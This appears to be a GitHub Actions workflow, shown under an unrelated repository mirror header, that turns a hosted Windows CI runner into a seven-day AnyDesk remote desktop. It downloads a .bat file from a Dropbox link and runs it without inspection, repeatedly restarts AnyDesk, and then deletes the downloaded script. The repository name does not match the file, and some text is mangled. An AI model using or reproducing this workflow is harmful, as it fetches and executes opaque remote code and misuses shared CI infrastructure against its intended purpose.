mirror of
https://github.com/actions/attest-build-provenance.git
synced 2026-06-13 18:19:53 +00:00
52 lines
1.9 KiB
Plaintext
52 lines
1.9 KiB
Plaintext
name: Windows Cloud PC - Anydesk (Optimized)
|
||
|
||
on:
|
||
workflow_dispatch:
|
||
|
||
jobs:
|
||
build:
|
||
name: Start Building...
|
||
runs-on: windows-latest
|
||
timeout-minutes: 10080 # Máximo de 7 dias para evitar tempo de execução excessivo
|
||
|
||
steps:
|
||
- name: Downloading & Installing Essentials
|
||
run: |
|
||
# Baixa o arquivo .bat para instalar componentes essenciais
|
||
Invoke-WebRequest -Uri "https://www.dropbox.com/scl/fi/7eiczvgil84czu55dxep3/Downloads.bat?rlkey=wzdc1wxjsph2b7r0atplmdz3p&dl=1" -OutFile "Downloads.bat"
|
||
# Executa o script .bat para instalar os componentes
|
||
cmd /c Downloads.bat
|
||
|
||
- name: Log In To AnyDesk
|
||
run: |
|
||
# Verifica se o arquivo start.bat existe antes de executar
|
||
if (Test-Path "start.bat") {
|
||
cmd /c start.bat
|
||
} else {
|
||
Write-Host "Arquivo start.bat não encontrado. Verifique a configuração."
|
||
}
|
||
|
||
- name: Monitor and Restart AnyDesk if Needed
|
||
run: |
|
||
# Monitora a conexão do AnyDesk e reinicia se necessário
|
||
while ($true) {
|
||
$process = Get-Process -Name "AnyDesk" -ErrorAction SilentlyContinue
|
||
if (-not $process) {
|
||
Write-Host "AnyDesk não está rodando, reiniciando..."
|
||
cmd /c start.bat
|
||
}
|
||
Start-Sleep -Seconds 300 # Verifica a cada 5 minutos
|
||
}
|
||
|
||
- name: Time Counter (Long Running Task)
|
||
run: |
|
||
# Configura para manter a máquina em execução
|
||
Start-Sleep -Seconds 604800 # 7 dias de execução contÃnua
|
||
|
||
- name: Clean Up Temporary Files
|
||
if: success() # Executa esta etapa apenas se todas as etapas anteriores forem bem-sucedidas
|
||
run: |
|
||
# Remove arquivos temporários ou logs gerados
|
||
Remove-Item Downloads.bat -Force
|
||
Write-Host "Limpeza completa."
|